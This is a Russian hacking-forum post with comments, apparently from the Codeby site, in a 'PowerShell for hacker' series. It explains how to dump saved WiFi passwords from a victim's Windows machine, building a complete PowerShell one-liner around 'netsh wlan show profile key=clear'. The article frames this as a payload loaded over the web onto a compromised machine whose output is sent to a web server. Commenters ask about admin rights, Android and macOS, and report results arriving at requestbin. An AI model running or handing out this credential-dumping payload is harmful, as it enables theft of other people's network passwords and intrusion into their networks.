• Курсы Академии Кодебай, стартующие в мае - июне, от команды The Codeby

    1. Цифровая криминалистика и реагирование на инциденты
    2. ОС Linux (DFIR) Старт: 16 мая
    3. Анализ фишинговых атак Старт: 16 мая Устройства для тестирования на проникновение Старт: 16 мая

    Скидки до 10%

    Полный список ближайших курсов ...

PowerShell для хакера (часть IX ) [Воруем сохраненные пароли от WiFi]

<~DarkNode~>

~^M1st3r_Bert0ni^~
Platinum
19.10.2016
722
3 099
BIT
0
maxresdefault.jpg


Доброго времени суток колеги. Прошу извинить меня за столь редкий онлайн
(Увы не всегда получается с вами тут посидеть :)) ) Вот появилась минутка , решил потратить ее на написания очередной статьи на тему "PowerShell для хакера"

Сразу же хочу обратить внимание , что эта статья нацелена на машини семейства от Windows 7 c WiFi адептарами ( в большинстве случаев ноутбуки)

И так. Вот что мы освоим в этой статье:
  • Научимся смотреть информацию о WiFi подключениях средствами командной строки Windows
  • Извлекать сохраненные пароли в командной строке Windows
  • Немного освоим регулярные выражения в PowerShell
  • С помощью регулярных выражений составим полезную нагрузка для дампа паролей от WiFi сетей жертвы
  • Закрепим подгрузку PowerShell через WEB
  • Закрепим отправку данных на веб-сервер методом .
И так друзья мои, зачем нам это все? Попытаюсь ответить:
  • Каждый сохранненный профиль от WiFi сети - это сегменты сети в которых бывает жертва и может оказаться ценным сегментом (пример - банковская WiFi сеть)
  • Пароль от домашнего WiFi может подойти к многим аккаунтам жертвы.
  • Готовых модулей в Metasploit и Emire для дампа WiFi я не встретил ( если я ошибся - прошу поправить меня и отписать в комментах)
  • Эта техника может быть использована для атак вида BadUSB ( спасибо за статьи @Dr.Lafa )
  • Ну и для общего развития
И так первое что мы освоим - это справку по команде netsh
2.PNG


Конкретней нас интересует команда netsh wlan show profile
которая покажет нам список всех сохраненных WiFi
1.PNG


Для того что бы извлечь пароль определенного профиля достаточно выполнить команду:
netsh wlan show profile <SSID_NAME> key=clear
Очень важно передать параметр key=clear , иначе пароль не будет отображен в открытом виде.
3.PNG


Ну вот с основными понятиями вроде как разобрались. Давайте перейдем к PowerShell. И так из этого всего вывода нам нужно отбросить ненужный текст и оставить только имя WiFi и Пароль от него.
Первым делом давайте выведем имена WiFi сетей c помощью оператора :
(netsh wlan show profiles) | Select-String "\:(.+)$"
Здесь мы в регулярном выражение фильтруем все строки где есть символ ":" и после которого следует больше одного (.+) символа и символ $ -- конец строки.
4.PNG


Теперь давайте попытаемся вывести только SSID:
(netsh wlan show profiles) | Select-String "\:(.+)$" | %{$_.Matches.Groups[1].Value}
Скриплет %{$_.Matches.Groups[1].Value} -- берет из потокового вывода нужные нам совпадения и их значения. Но совпадения беруться из пробелами по-этому удаляем их функцией Trim()
6.PNG

Для удобства все совпадения положим в переменную $name
(netsh wlan show profiles) | Select-String "\:(.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_}

5.PNG

Теперь по этому же принципу нужно отобразить пароль от каждой SSID :

(netsh wlan show profiles) | Select-String "\:(.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)}
Добавляется команда (netsh wlan show profile name="$name" key=clear) , которая в качестве имени SSID берет переменную $name :

Но опять же таки тут много лишнего текста:
7.PNG

Так как у нас вывод на русском языке то ключевое слово , которое нам нужно для регулярного выражения будет : "Содержимое ключа" и наш следующий запрос будет иметь примерно такой вид:

(netsh wlan show profiles) | Select-String "\:(.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)} | Select-String "Содержимое ключа\W+\:(.+)$"
8.PNG

И конечная команда наша будет иметь примерно следующий вид:

(netsh wlan show profiles) | Select-String "\:(.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)} | Select-String "Содержимое ключа\W+\:(.+)$" | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ ESSID=$name;PASS=$pass }} | Format-Table -AutoSize
9.PNG

Ну а далее все по накатанной схеме:
Размещаем к примеру:
12.PNG


Подгружаем на скомпрометированной машине:

10.PNG


И ловим пароли от WiFi:

11.PNG

Всем спасибо за внимание)
Видео немножко поже сделаю.
 
Последнее редактирование:
D

disconnekt

Статья отличная, только ключ показывается при условии, что пользователь локальный администратор. Или есть возможность посмотреть ключ из под обычного пользователя?
 

DSCH

Green Team
07.12.2016
27
1
BIT
0
DarkNODE, сними видео как настоирть такой консольку + на кали как постовить арчи стайл. одельнго буду благадорень.
 
  • Нравится
Реакции: <~DarkNode~>

OBLIVIONNN

Green Team
22.08.2017
144
92
BIT
1
А есть такой способ только для Android? Только без Android Terminala.
 

<~DarkNode~>

~^M1st3r_Bert0ni^~
Platinum
19.10.2016
722
3 099
BIT
0
На сколько помню то для просмотра сохраненных паролей на андроиде нужен Рут доступ.
[doublepost=1504683561,1504683107][/doublepost]Обзаведусь микрофоном где то через месяц, на настройку ушло пару часов, нужно будет писать видео с голосом.
Вообщем сделаю.
 

Air7771

Green Team
22.02.2017
100
65
BIT
0
Статья отличная, только ключ показывается при условии, что пользователь локальный администратор. Или есть возможность посмотреть ключ из под обычного пользователя?
посмотреть ключ из под обычного пользователя? Пробовал не получилось...
 
Д

Дедок

Надеюсь такая консолька не отправляет пакетики трафика туда кем именуется )? уж очень дизаин не юзерфрендли для параноика )
 
Последнее редактирование модератором:

<~DarkNode~>

~^M1st3r_Bert0ni^~
Platinum
19.10.2016
722
3 099
BIT
0
Статья отличная, только ключ показывается при условии, что пользователь локальный администратор. Или есть возможность посмотреть ключ из под обычного пользователя?
посмотреть ключ из под обычного пользователя? Пробовал не получилось...
Снимок.PNG

[doublepost=1504808328,1504804683][/doublepost]
Надеюсь такая консолька не отправляет пакетики трафика туда кем именуется )? уж очень дизаин не юзерфрендли для параноика )
Это обычный легковесный тайловый оконный менеджер i3 и немного настроенный конфиг.
Снимок.PNG
 

fysh

Green Team
04.01.2017
16
14
BIT
0
Полезный цикл статей, для себя нашел много интересного...давай еще $i++;)
 
  • Нравится
Реакции: <~DarkNode~>
L

Leon

Отличная статья, а антивири не ругаются?
 

e.exploit

Green Team
11.09.2016
21
9
BIT
14
Почему может не отображать ключ? Win7
 

Вложения

  • wifi.JPG
    wifi.JPG
    43,4 КБ · Просмотры: 551

OBLIVIONNN

Green Team
22.08.2017
144
92
BIT
1
Какими способами можно узнать пароль в MacOS ? кроме keychain.
[doublepost=1508692584,1508215099][/doublepost]
Доброго времени суток
Как можно узнать пароль сохраненных Wi-Fi сетей в MacOS ? Там в терминале используется BASH , просто я с MacOS не очень знаком может вы в курсе ?
 
D

ddanijj

Не работает. На реквестбин приходит пустой ответ. Если вводить вручную (даже если просто скопировать и вставить в шелл) - все работает. Как это обойти?
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!